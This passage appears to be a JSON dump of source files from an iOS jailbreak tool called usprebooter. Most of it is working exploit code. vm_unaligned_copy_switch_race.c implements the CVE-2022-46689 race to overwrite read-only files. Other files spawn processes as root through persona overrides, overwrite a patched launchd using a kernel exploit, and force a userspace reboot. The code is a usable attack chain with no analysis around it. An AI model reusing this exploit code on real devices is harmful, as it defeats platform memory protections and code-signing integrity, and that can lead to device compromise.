    "content": "//\n//  troller.c\n//  usprebooter\n//\n//  Created by LL on 29/11/23.\n//\n#include <mach/arm/kern_return.h>\n#include \"troller.h\"\n#include \"xpc.h\"\n#include \"xpc_connection.h\"\n#include \"bootstrap.h\"\n#include <stdio.h>\n#include <unistd.h>\n#include <os/object.h>\n#include <time.h>\n#include <sys/errno.h>\n#include \"util.h\"\n#include <IOKit/IOKitLib.h>\n#include \"overwriter.h\"\n\n\nint get_boot_manifest_hash(char hash[97])\n{\n  const UInt8 *bytes;\n  CFIndex length;\n  io_registry_entry_t chosen = IORegistryEntryFromPath(0, \"IODeviceTree:/chosen\");\n  if (!MACH_PORT_VALID(chosen)) return 1;\n  CFDataRef manifestHash = (CFDataRef)IORegistryEntryCreateCFProperty(chosen, CFSTR(\"boot-manifest-hash\"), kCFAllocatorDefault, 0);\n  IOObjectRelease(chosen);\n  if (manifestHash == NULL || CFGetTypeID(manifestHash) != CFDataGetTypeID())\n  {\n    if (manifestHash != NULL) CFRelease(manifestHash);\n    return 1;\n  }\n  length = CFDataGetLength(manifestHash);\n  bytes = CFDataGetBytePtr(manifestHash);\n  for (int i = 0; i < length; i++)\n  {\n    snprintf(&hash[i * 2], 3, \"%02X\", bytes[i]);\n  }\n  CFRelease(manifestHash);\n  return 0;\n}\n\nchar* return_boot_manifest_hash_main(void) {\n  static char hash[97];\n  int ret = get_boot_manifest_hash(hash);\n  if (ret != 0) {\n    fprintf(stderr, \"could not get boot manifest hash\\n\");\n    return \"lmao\";\n  }\n    static char result[115];\n    sprintf(result, \"/private/preboot/%s\", hash);\n    return result;\n}\n\nint userspaceReboot(void) {\n    kern_return_t ret = 0;\n    xpc_object_t xdict = xpc_dictionary_create(NULL, NULL, 0);\n    xpc_dictionary_set_uint64(xdict, \"cmd\", 5);\n    xpc_object_t xreply;\n    ret = unlink(\"/private/var/mobile/Library/MemoryMaintenance/mmaintenanced\");\n    if (ret && errno != ENOENT) {\n        fprintf(stderr, \"could not delete mmaintenanced last reboot file\\n\");\n        return -1;\n    }\n    xpc_connection_t connection = xpc_connection_create_mach_service(\"com.apple.mmaintenanced\", NULL, 0);\n    if (xpc_get_type(connection) == XPC_TYPE_ERROR) {\n        char* desc = xpc_copy_description((__bridge xpc_object_t _Nonnull)(xpc_get_type(connection)));\n        puts(desc);\n        free(desc);\n        return -1;\n    }\n    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {\n        char* desc = xpc_copy_description(event);\n        puts(desc);\n        free(desc);\n    });\n    xpc_connection_activate(connection);\n    char* desc = xpc_copy_description(connection);\n    puts(desc);\n    printf(\"connection created\\n\");\n    xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, xdict);\n    if (reply) {\n        char* desc = xpc_copy_description(reply);\n        puts(desc);\n        free(desc);\n        xpc_connection_cancel(connection);\n        return 0;\n    }\n\n    return -1;\n}\n\nint go(void) {\n    printf(\"[*] Hammer time.\\n\");\n    kern_return_t ret = 0;\n//    copyLaunchd();\n    NSString *mainBundlePath = [[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:@\"trolltoolsroothelper\"];\n    spawnRoot(mainBundlePath, @[@\"bootstrap\", @\"\", @\"\"], nil, nil);\n    overwrite_patchedlaunchd_kfd();\n//    codesignLaunchd();\n    return ret;\n}\n"
  },
  {
    "path": "usprebooter/usprebooter-Bridging-Header.h",
    "content": "//\n//  Use this file to import your target's public headers that you would like to expose to Swift.\n//\n#include \"troller.h\"\n#include \"util.h\"\n#include \"fun/fun.h\"\n#include \"fun/krw.h\"\n#include \"memoryControl.h\"\n//#include \"fun/helpers.h\"\n#include <stdint.h>\n\nvoid do_kclose(void);\nvoid fix_exploit(void);\nint go(void);\nint userspaceReboot(void);\n"
  },
  {
    "path": "usprebooter/usprebooterApp.swift",
    "content": "import SwiftUI\n@main\nstruct usprebooterApp: App {\n    @State var useNewUI: Bool = true\n    init() {\n        if !FileManager.default.fileExists(atPath: \"/var/mobile/boot-happy.jp2\") {\n            if let bootlogo = Bundle.main.url(forResource: \"boot-happy\", withExtension: \"jp2\") {\n                try? FileManager.default.copyItem(at: bootlogo, to: URL(fileURLWithPath: \"/var/mobile/boot-happy.jp2\"))\n            }\n        }\n        \n        if !FileManager.default.fileExists(atPath: \"/var/mobile/boot-sad.jp2\") {\n            if let bootlogo = Bundle.main.url(forResource: \"boot-sad\", withExtension: \"jp2\") {\n                try? FileManager.default.copyItem(at: bootlogo, to: URL(fileURLWithPath: \"/var/mobile/boot-sad.jp2\"))\n            }\n        }\n    }\n    var body: some Scene {\n        WindowGroup {\n            if useNewUI {\n                CoolerContentView(useNewUI: $useNewUI)\n                    .preferredColorScheme(.dark)\n            } else {\n                ContentView(useNewUI: $useNewUI)\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "usprebooter/util.h",
    "content": "//\n//  util.h\n//  usprebooter\n//\n//  Created by LL on 29/11/23.\n//\n\n#ifndef util_h\n#define util_h\n#import <Foundation/Foundation.h>\nvoid respring(void);\nint spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdErr);\nNSString *jbroot(NSString *path);\n#endif /* util_h */\n"
  },
  {
    "path": "usprebooter/util.m",
    "content": "//\n//  util.m\n//  usprebooter\n//\n//  Created by LL on 29/11/23.\n//\n\n#import <Foundation/Foundation.h>\n#import \"util.h\"\n#import <spawn.h>\n#import <sys/sysctl.h>\n#import <mach-o/dyld.h>\n\nNSString *getExecutablePath(void)\n{\n    uint32_t len = PATH_MAX;\n    char selfPath[len];\n    _NSGetExecutablePath(selfPath, &len);\n    NSLog(@\"executable path: %@\", [NSString stringWithUTF8String:selfPath]);\n    return [NSString stringWithUTF8String:selfPath];\n}\n\nint fd_is_valid(int fd)\n{\n    return fcntl(fd, F_GETFD) != -1 || errno != EBADF;\n}\n\nNSString* getNSStringFromFile(int fd)\n{\n    NSMutableString* ms = [NSMutableString new];\n    ssize_t num_read;\n    char c;\n    if(!fd_is_valid(fd)) return @\"\";\n    while((num_read = read(fd, &c, sizeof(c))))\n    {\n        [ms appendString:[NSString stringWithFormat:@\"%c\", c]];\n        if(c == '\\n') break;\n    }\n    return ms.copy;\n}\n\nvoid printMultilineNSString(NSString* stringToPrint)\n{\n    NSCharacterSet *separator = [NSCharacterSet newlineCharacterSet];\n    NSArray* lines = [stringToPrint componentsSeparatedByCharactersInSet:separator];\n    for(NSString* line in lines)\n    {\n        NSLog(@\"%@\", line);\n    }\n}\n\n#define POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE 1\n\nint posix_spawnattr_set_persona_np(const posix_spawnattr_t* __restrict, uid_t, uint32_t);\nint posix_spawnattr_set_persona_uid_np(const posix_spawnattr_t* __restrict, uid_t);\nint posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restrict, uid_t);\n\nint spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdErr)\n{\n    NSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new];\n    [argsM insertObject:path.lastPathComponent atIndex:0];\n    \n    NSUInteger argCount = [argsM count];\n    char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));\n\n    for (NSUInteger i = 0; i < argCount; i++)\n    {\n        argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);\n    }\n    argsC[argCount] = NULL;\n\n    posix_spawnattr_t attr;\n    posix_spawnattr_init(&attr);\n\n    posix_spawnattr_set_persona_np(&attr, 99, POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE);\n    posix_spawnattr_set_persona_uid_np(&attr, 0);\n    posix_spawnattr_set_persona_gid_np(&attr, 0);\n\n    posix_spawn_file_actions_t action;\n    posix_spawn_file_actions_init(&action);\n\n    int outErr[2];\n    if(stdErr)\n    {\n        pipe(outErr);\n        posix_spawn_file_actions_adddup2(&action, outErr[1], STDERR_FILENO);\n        posix_spawn_file_actions_addclose(&action, outErr[0]);\n    }\n\n    int out[2];\n    if(stdOut)\n    {\n        pipe(out);\n        posix_spawn_file_actions_adddup2(&action, out[1], STDOUT_FILENO);\n        posix_spawn_file_actions_addclose(&action, out[0]);\n    }\n    \n    pid_t task_pid;\n    int status = -200;\n    int spawnError = posix_spawn(&task_pid, [path UTF8String], &action, &attr, (char* const*)argsC, NULL);\n    posix_spawnattr_destroy(&attr);\n    for (NSUInteger i = 0; i < argCount; i++)\n    {\n        free(argsC[i]);\n    }\n    free(argsC);\n    \n    if(spawnError != 0)\n    {\n        NSLog(@\"We down\");\n        NSLog(@\"posix_spawn error %d\\n\", spawnError);\n        return spawnError;\n    }\n\n    do\n    {\n        pid_t waitpids = waitpid(task_pid, &status, 0);\n        if (waitpids != -1) {\n            NSLog(@\"Child status %d\", WEXITSTATUS(status));\n        } else\n        {\n//            perror(\"waitpid\");\n//            NSLog(@\"waitpid returned %@\", waitpids);\n            return -222;\n        }\n    } while (!WIFEXITED(status) && !WIFSIGNALED(status));\n\n    if(stdOut)\n    {\n        close(out[1]);\n        NSString* output = getNSStringFromFile(out[0]);\n        *stdOut = output;\n    }\n\n    if(stdErr)\n    {\n        close(outErr[1]);\n        NSString* errorOutput = getNSStringFromFile(outErr[0]);\n        *stdErr = errorOutput;\n    }\n//    NSLog(@\"%@\", status);\n    return WEXITSTATUS(status);\n}\n\n\nvoid enumerateProcessesUsingBlock(void (^enumerator)(pid_t pid, NSString* executablePath, BOOL* stop))\n{\n    static int maxArgumentSize = 0;\n    if (maxArgumentSize == 0) {\n        size_t size = sizeof(maxArgumentSize);\n        if (sysctl((int[]){ CTL_KERN, KERN_ARGMAX }, 2, &maxArgumentSize, &size, NULL, 0) == -1) {\n            perror(\"sysctl argument size\");\n            maxArgumentSize = 4096; // Default\n        }\n    }\n    int mib[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL};\n    struct kinfo_proc *info;\n    size_t length;\n    uint64_t count;\n    \n    if (sysctl(mib, 3, NULL, &length, NULL, 0) < 0)\n        return;\n    if (!(info = malloc(length)))\n        return;\n    if (sysctl(mib, 3, info, &length, NULL, 0) < 0) {\n        free(info);\n        return;\n    }\n    count = length / sizeof(struct kinfo_proc);\n    for (int i = 0; i < count; i++) {\n        @autoreleasepool {\n        pid_t pid = info[i].kp_proc.p_pid;\n        if (pid == 0) {\n            continue;\n        }\n        size_t size = maxArgumentSize;\n        char* buffer = (char *)malloc(length);\n        if (sysctl((int[]){ CTL_KERN, KERN_PROCARGS2, pid }, 3, buffer, &size, NULL, 0) == 0) {\n            NSString* executablePath = [NSString stringWithCString:(buffer+sizeof(int)) encoding:NSUTF8StringEncoding];\n            \n            BOOL stop = NO;\n            enumerator(pid, executablePath, &stop);\n            if(stop)\n            {\n                free(buffer);\n                break;\n            }\n        }\n        free(buffer);\n        }\n    }\n    free(info);\n}\n\nvoid killall(NSString* processName, BOOL softly)\n{\n    enumerateProcessesUsingBlock(^(pid_t pid, NSString* executablePath, BOOL* stop)\n    {\n        if([executablePath.lastPathComponent isEqualToString:processName])\n        {\n            if(softly)\n            {\n                kill(pid, SIGTERM);\n            }\n            else\n            {\n                kill(pid, SIGKILL);\n            }\n        }\n    });\n}\n\nvoid respring(void)\n{\n    killall(@\"SpringBoard\", YES);\n    exit(0);\n}\n#define JB_ROOT_PREFIX \".jbroot-\"\n#define JB_RAND_LENGTH  (sizeof(uint64_t)*sizeof(char)*2)\n\nint is_jbrand_value(uint64_t value)\n{\n   uint8_t check = value>>8 ^ value >> 16 ^ value>>24 ^ value>>32 ^ value>>40 ^ value>>48 ^ value>>56;\n   return check == (uint8_t)value;\n}\n\nint is_jbroot_name(const char* name)\n{\n    if(strlen(name) != (sizeof(JB_ROOT_PREFIX)-1+JB_RAND_LENGTH))\n        return 0;\n    \n    if(strncmp(name, JB_ROOT_PREFIX, sizeof(JB_ROOT_PREFIX)-1) != 0)\n        return 0;\n    \n    char* endp=NULL;\n    uint64_t value = strtoull(name+sizeof(JB_ROOT_PREFIX)-1, &endp, 16);\n    if(!endp || *endp!='\\0')\n        return 0;\n    \n    if(!is_jbrand_value(value))\n        return 0;\n    \n    return 1;\n}\n\nuint64_t resolve_jbrand_value(const char* name)\n{\n    if(strlen(name) != (sizeof(JB_ROOT_PREFIX)-1+JB_RAND_LENGTH))\n        return 0;\n    \n    if(strncmp(name, JB_ROOT_PREFIX, sizeof(JB_ROOT_PREFIX)-1) != 0)\n        return 0;\n    \n    char* endp=NULL;\n    uint64_t value = strtoull(name+sizeof(JB_ROOT_PREFIX)-1, &endp, 16);\n    if(!endp || *endp!='\\0')\n        return 0;\n    \n    if(!is_jbrand_value(value))\n        return 0;\n    \n    return value;\n}\n\n\nNSString* find_jbroot()\n{\n    //jbroot path may change when re-randomize it\n    NSString * jbroot = nil;\n    NSArray *subItems = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:@\"/var/containers/Bundle/Application/\" error:nil];\n    for (NSString *subItem in subItems) {\n        if (is_jbroot_name(subItem.UTF8String))\n        {\n            NSString* path = [@\"/var/containers/Bundle/Application/\" stringByAppendingPathComponent:subItem];\n            jbroot = path;\n            break;\n        }\n    }\n    return jbroot;\n}\n\nNSString *jbroot(NSString *path)\n{\n    NSString* jbroot = find_jbroot();\n    return [jbroot stringByAppendingPathComponent:path];\n}\n"
  },
  {
    "path": "usprebooter/vm_unaligned_copy_switch_race.c",
    "content": "// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c\n// modified to compile outside of XNU\n\n#include <pthread.h>\n#include <dispatch/dispatch.h>\n#include <stdio.h>\n\n#include <mach/mach_init.h>\n#include <mach/mach_port.h>\n#include <mach/vm_map.h>\n\n#include <fcntl.h>\n#include <sys/mman.h>\n\n#include \"vm_unaligned_copy_switch_race.h\"\n\n#define T_QUIET\n#define T_EXPECT_MACH_SUCCESS(a, b)\n#define T_EXPECT_MACH_ERROR(a, b, c)\n#define T_ASSERT_MACH_SUCCESS(a, b, ...)\n#define T_ASSERT_MACH_ERROR(a, b, c)\n#define T_ASSERT_POSIX_SUCCESS(a, b)\n#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c \"\\n\"); exit(1); }}while(0)\n#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c \"\\n\"); exit(1); }}while(0)\n#define T_ASSERT_TRUE(a, b, ...)\n#define T_LOG(a, ...) fprintf(stderr, a \"\\n\", __VA_ARGS__)\n#define T_DECL(a, b) static void a(void)\n#define T_PASS(a, ...) fprintf(stderr, a \"\\n\", __VA_ARGS__)\n\nstruct context1 {\n    vm_size_t obj_size;\n    vm_address_t e0;\n    mach_port_t mem_entry_ro;\n    mach_port_t mem_entry_rw;\n    dispatch_semaphore_t running_sem;\n    pthread_mutex_t mtx;\n    volatile bool done;\n};\n\nstatic void *\nswitcheroo_thread(__unused void *arg)\n{\n    kern_return_t kr;\n    struct context1 *ctx;\n\n    ctx = (struct context1 *)arg;\n    /* tell main thread we're ready to run */\n    dispatch_semaphore_signal(ctx->running_sem);\n    while (!ctx->done) {\n        /* wait for main thread to be done setting things up */\n        pthread_mutex_lock(&ctx->mtx);\n        if (ctx->done) {\n      pthread_mutex_unlock(&ctx->mtx);\n            break;\n        }\n        /* switch e0 to RW mapping */\n        kr = vm_map(mach_task_self(),\n            &ctx->e0,\n            ctx->obj_size,\n            0,         /* mask */\n            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,\n            ctx->mem_entry_rw,\n            0,\n            FALSE,         /* copy */\n            VM_PROT_READ | VM_PROT_WRITE,\n            VM_PROT_READ | VM_PROT_WRITE,\n            VM_INHERIT_DEFAULT);\n        T_QUIET; T_EXPECT_MACH_SUCCESS(kr, \" vm_map() RW\");\n        /* wait a little bit */\n        usleep(100);\n        /* switch bakc to original RO mapping */\n        kr = vm_map(mach_task_self(),\n            &ctx->e0,\n            ctx->obj_size,\n            0,         /* mask */\n            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,\n            ctx->mem_entry_ro,\n            0,\n            FALSE,         /* copy */\n            VM_PROT_READ,\n            VM_PROT_READ,\n            VM_INHERIT_DEFAULT);\n        T_QUIET; T_EXPECT_MACH_SUCCESS(kr, \" vm_map() RO\");\n        /* tell main thread we're don switching mappings */\n        pthread_mutex_unlock(&ctx->mtx);\n        usleep(100);\n    }\n    return NULL;\n}\n\nbool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd) {\n    bool retval = false;\n    pthread_t th = NULL;\n    int ret;\n    kern_return_t kr;\n    time_t start, duration;\n#if 0\n    mach_msg_type_number_t cow_read_size;\n#endif\n    vm_size_t copied_size;\n    int loops;\n    vm_address_t e2, e5;\n    struct context1 context1, *ctx;\n    int kern_success = 0, kern_protection_failure = 0, kern_other = 0;\n    vm_address_t ro_addr, tmp_addr;\n    memory_object_size_t mo_size;\n\n    ctx = &context1;\n    ctx->obj_size = 256 * 1024;\n\n    void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);\n    if (file_mapped == MAP_FAILED) {\n        fprintf(stderr, \"failed to map\\n\");\n        return false;\n    }\n    if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {\n//        fprintf(stderr, \"already the same?\\n\");\n        munmap(file_mapped, ctx->obj_size);\n        return true;\n    }\n    ro_addr = (vm_address_t)file_mapped;\n\n    ctx->e0 = 0;\n    ctx->running_sem = dispatch_semaphore_create(0);\n    T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, \"dispatch_semaphore_create\");\n    ret = pthread_mutex_init(&ctx->mtx, NULL);\n    T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, \"pthread_mutex_init\");\n    ctx->done = false;\n    ctx->mem_entry_rw = MACH_PORT_NULL;\n    ctx->mem_entry_ro = MACH_PORT_NULL;\n#if 0\n    /* allocate our attack target memory */\n    kr = vm_allocate(mach_task_self(),\n        &ro_addr,\n        ctx->obj_size,\n        VM_FLAGS_ANYWHERE);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate ro_addr\");\n    /* initialize to 'A' */\n    memset((char *)ro_addr, 'A', ctx->obj_size);\n#endif\n\n    /* make it read-only */\n    kr = vm_protect(mach_task_self(),\n        ro_addr,\n        ctx->obj_size,\n        TRUE,             /* set_maximum */\n        VM_PROT_READ);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_protect ro_addr\");\n    /* make sure we can't get read-write handle on that target memory */\n    mo_size = ctx->obj_size;\n    kr = mach_make_memory_entry_64(mach_task_self(),\n        &mo_size,\n        ro_addr,\n        MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,\n        &ctx->mem_entry_ro,\n        MACH_PORT_NULL);\n    T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, \"make_mem_entry() RO\");\n    /* take read-only handle on that target memory */\n    mo_size = ctx->obj_size;\n    kr = mach_make_memory_entry_64(mach_task_self(),\n        &mo_size,\n        ro_addr,\n        MAP_MEM_VM_SHARE | VM_PROT_READ,\n        &ctx->mem_entry_ro,\n        MACH_PORT_NULL);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"make_mem_entry() RO\");\n    T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, \"wrong mem_entry size\");\n    /* make sure we can't map target memory as writable */\n    tmp_addr = 0;\n    kr = vm_map(mach_task_self(),\n        &tmp_addr,\n        ctx->obj_size,\n        0,         /* mask */\n        VM_FLAGS_ANYWHERE,\n        ctx->mem_entry_ro,\n        0,\n        FALSE,         /* copy */\n        VM_PROT_READ,\n        VM_PROT_READ | VM_PROT_WRITE,\n        VM_INHERIT_DEFAULT);\n    T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, \" vm_map() mem_entry_rw\");\n    tmp_addr = 0;\n    kr = vm_map(mach_task_self(),\n        &tmp_addr,\n        ctx->obj_size,\n        0,         /* mask */\n        VM_FLAGS_ANYWHERE,\n        ctx->mem_entry_ro,\n        0,\n        FALSE,         /* copy */\n        VM_PROT_READ | VM_PROT_WRITE,\n        VM_PROT_READ | VM_PROT_WRITE,\n        VM_INHERIT_DEFAULT);\n    T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, \" vm_map() mem_entry_rw\");\n\n    /* allocate a source buffer for the unaligned copy */\n    kr = vm_allocate(mach_task_self(),\n        &e5,\n        ctx->obj_size * 2,\n        VM_FLAGS_ANYWHERE);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate e5\");\n    /* initialize to 'C' */\n    memset((char *)e5, 'C', ctx->obj_size * 2);\n\n    char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);\n    memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);\n\n    int overwrite_first_diff_offset = -1;\n    char overwrite_first_diff_value = 0;\n    for (int off = 0; off < overwrite_length; off++) {\n        if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {\n            overwrite_first_diff_offset = off;\n            overwrite_first_diff_value = ((char*)ro_addr)[off];\n        }\n    }\n    if (overwrite_first_diff_offset == -1) {\n        fprintf(stderr, \"no diff?\\n\");\n        return false;\n    }\n\n    /*\n     * get a handle on some writable memory that will be temporarily\n     * switched with the read-only mapping of our target memory to try\n     * and trick copy_unaligned to write to our read-only target.\n     */\n    tmp_addr = 0;\n    kr = vm_allocate(mach_task_self(),\n        &tmp_addr,\n        ctx->obj_size,\n        VM_FLAGS_ANYWHERE);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate() some rw memory\");\n    /* initialize to 'D' */\n    memset((char *)tmp_addr, 'D', ctx->obj_size);\n    /* get a memory entry handle for that RW memory */\n    mo_size = ctx->obj_size;\n    kr = mach_make_memory_entry_64(mach_task_self(),\n        &mo_size,\n        tmp_addr,\n        MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,\n        &ctx->mem_entry_rw,\n        MACH_PORT_NULL);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"make_mem_entry() RW\");\n    T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, \"wrong mem_entry size\");\n    kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_deallocate() tmp_addr 0x%llx\", (uint64_t)tmp_addr);\n    tmp_addr = 0;\n\n    pthread_mutex_lock(&ctx->mtx);\n\n    /* start racing thread */\n    ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);\n    T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, \"pthread_create\");\n\n    /* wait for racing thread to be ready to run */\n    dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);\n\n    duration = 10; /* 10 seconds */\n    for (start = time(NULL), loops = 0;\n        time(NULL) < start + duration;\n        loops++) {\n        /* reserve space for our 2 contiguous allocations */\n        e2 = 0;\n        kr = vm_allocate(mach_task_self(),\n            &e2,\n            2 * ctx->obj_size,\n            VM_FLAGS_ANYWHERE);\n        T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate to reserve e2+e0\");\n\n        /* make 1st allocation in our reserved space */\n        kr = vm_allocate(mach_task_self(),\n            &e2,\n            ctx->obj_size,\n            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));\n        T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate e2\");\n        /* initialize to 'B' */\n        memset((char *)e2, 'B', ctx->obj_size);\n\n        /* map our read-only target memory right after */\n        ctx->e0 = e2 + ctx->obj_size;\n        kr = vm_map(mach_task_self(),\n            &ctx->e0,\n            ctx->obj_size,\n            0,         /* mask */\n            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),\n            ctx->mem_entry_ro,\n            0,\n            FALSE,         /* copy */\n            VM_PROT_READ,\n            VM_PROT_READ,\n            VM_INHERIT_DEFAULT);\n        T_QUIET; T_EXPECT_MACH_SUCCESS(kr, \" vm_map() mem_entry_ro\");\n\n        /* let the racing thread go */\n        pthread_mutex_unlock(&ctx->mtx);\n        /* wait a little bit */\n        usleep(100);\n\n        /* trigger copy_unaligned while racing with other thread */\n        kr = vm_read_overwrite(mach_task_self(),\n            e5,\n            ctx->obj_size - 1 + overwrite_length,\n            e2 + 1,\n            &copied_size);\n        T_QUIET;\n        T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,\n            \"vm_read_overwrite kr %d\", kr);\n        switch (kr) {\n        case KERN_SUCCESS:\n            /* the target was RW */\n            kern_success++;\n            break;\n        case KERN_PROTECTION_FAILURE:\n            /* the target was RO */\n            kern_protection_failure++;\n            break;\n        default:\n            /* should not happen */\n            kern_other++;\n            break;\n        }\n        /* check that our read-only memory was not modified */\n#if 0\n        T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, \"RO mapping was modified\");\n#endif\n        bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;\n\n        /* tell racing thread to stop toggling mappings */\n        pthread_mutex_lock(&ctx->mtx);\n\n        /* clean up before next loop */\n        vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);\n        ctx->e0 = 0;\n        vm_deallocate(mach_task_self(), e2, ctx->obj_size);\n        e2 = 0;\n        if (!is_still_equal) {\n            retval = true;\n            fprintf(stderr, \"RO mapping was modified\\n\");\n            break;\n        }\n    }\n\n    ctx->done = true;\n    pthread_mutex_unlock(&ctx->mtx);\n    pthread_join(th, NULL);\n    \n    if (unmapAtEnd) {\n        munmap(file_mapped, ctx->obj_size);\n    }\n\n\n    kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"mach_port_deallocate(me_rw)\");\n    kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"mach_port_deallocate(me_ro)\");\n    kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_deallocate(ro_addr)\");\n    kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);\n    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_deallocate(e5)\");\n\n#if 0\n    T_LOG(\"vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d\",\n        kern_success, kern_protection_failure, kern_other);\n    T_PASS(\"Ran %d times in %ld seconds with no failure\", loops, duration);\n#endif\n    return retval;\n}\n"
  },
  {
    "path": "usprebooter/vm_unaligned_copy_switch_race.h",
    "content": "#pragma once\n#include <stdlib.h>\n#include <stdbool.h>\n/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.\n/// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. ``\n/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.\n/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.\nbool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd);\n"
  }
]